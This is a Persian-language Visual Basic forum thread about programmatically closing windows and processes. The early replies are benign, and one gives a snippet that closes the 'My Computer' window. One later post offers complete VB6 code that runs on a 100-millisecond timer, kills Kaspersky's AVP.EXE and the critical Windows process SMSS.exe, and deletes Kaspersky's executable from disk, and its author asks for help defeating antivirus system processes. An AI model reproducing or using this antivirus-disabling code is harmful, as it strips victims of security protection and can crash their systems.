یک شنبه 07 مهر 1387, 22:09 عصر
با عرض پوزش از تمامي برنامه نويس ها و مديران سايت كه دارم از بحث خارج ميشم :شیطان:


به سلامتی انجمن وی.بی داره تعطیل می شه !:متعجب:كي همچين حرفي زده، براي چي بايد تعطيل بشه؟:عصبانی:


و اینک مهاجرت به دیگر زبانها ...تا ويبي هست زندگي بايد كرد...

فاطـمه
چهارشنبه 29 آبان 1387, 21:30 عصر
سلام ممکنه به برنامه بذارین که تمام برنامه ها و پروسه های در حال اجرا رو پیدا و ببنده؟

.:KeihanCPU:.
چهارشنبه 29 آبان 1387, 23:51 عصر
سلام ممکنه به برنامه بذارین که تمام برنامه ها و پروسه های در حال اجرا رو پیدا و ببنده؟

با سلام و خوش آمد گویی به شما
خود ویندوز هم پروسه هایی داره که اگه بسته بشه دیگه ویندوز کار نمیکنه.

debugger
پنج شنبه 30 آبان 1387, 11:05 صبح
با تشکر از مقاله شما

برای بستن یک پنجره با کمترین کد نویسی من این راه را پیشنهاد می کنم


Private Declare Function FindWindowA Lib "user32.dll" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Dim Temp As Long

این قسمت را در تایمر بنویسید


Temp = FindWindowA(vbNullString, "My Computer")
If Temp <> 0 Then
SetForegroundWindow (Temp)
SendKeys "%{F4}"
End If


کد پنجره MyComputer را می بندد

pouria_bayat
پنج شنبه 19 دی 1387, 09:39 صبح
با سلام خدمت همه دوستان من از کد terminateprocess برای بستن برنامه ها استفاده کردم برای همه برنامه ها کار می کنه به جز برنامه های systemy مثلا برای exit کردن kaspersky استفاده کردم تونست ببندتش ولی انتی ویروسها علاوه بر فایلهای user یک فایل systemy هم می سازننپد توی قسمت process اونو چکار باید کرد. اینم کدی که همه برنامه های usero توی قسمت process می بنده. من کمکتون کردم شما هم کمکم کنید. مرسی.فقط کافی نام برنامتونونو توی process پیدا کنید و در قسمت antiname به جای avp.exe بنویسید.

Dim fso As New FileSystemObject
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPheaplist = &H1
Private Const TH32CS_SNAPthread = &H4
Private Const TH32CS_SNAPmodule = &H8
Private Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + TH32CS_SNAPmodule
Dim ProcToKill As String
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type
Sub Exit_kasper()
On Error Resume Next
Dim i As Long
Dim proc As PROCESSENTRY32
Dim snap As Long
Dim exename As String
Dim id As Long
Dim sfile As String
Exist = 0
Exist2 = 0
Open "C:\WINDOWS\system32\Anti.txt" For Input As #1
Line1 = 0
Do While Not EOF(1)
Line Input #1, str1
Line1 = Line1 + 1
strdel = Split(str1, "= ")
str2 = strdel(1)
address = Left$(str2, Len(str2) - 1)
address2 = Right$(address, Len(address) - 1)
Kill ("C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe")
Loop
Close #1
snap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0)
proc.dwSize = Len(proc)
theloop = ProcessFirst(snap, proc)
While theloop <> 0
exename = proc.szExeFile
procid = proc.th32ProcessID
ANTINAME = "SMSS.exe"
ANTINAME2 = "AVP.EXE"
Exist = InStr(exename, ANTINAME)
Exist2 = InStr(exename, ANTINAME2)
If (Exist <> 0) Or (Exist2 <> 0) Then
hand = OpenProcess(1, False, CLng(procid))
TerminateProcess hand, -9
Kill ("C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe")
Call fso.DeleteFile("C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe", True)
Exist = 0
Exist2 = 0
End If
theloop = ProcessNext(snap, proc)
Wend
CloseHandle snap
End Sub

Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
Call Exit_kasper
End Sub

Hamid_Reza_xx
پنج شنبه 03 بهمن 1387, 17:01 عصر
ادامه بدین عالیه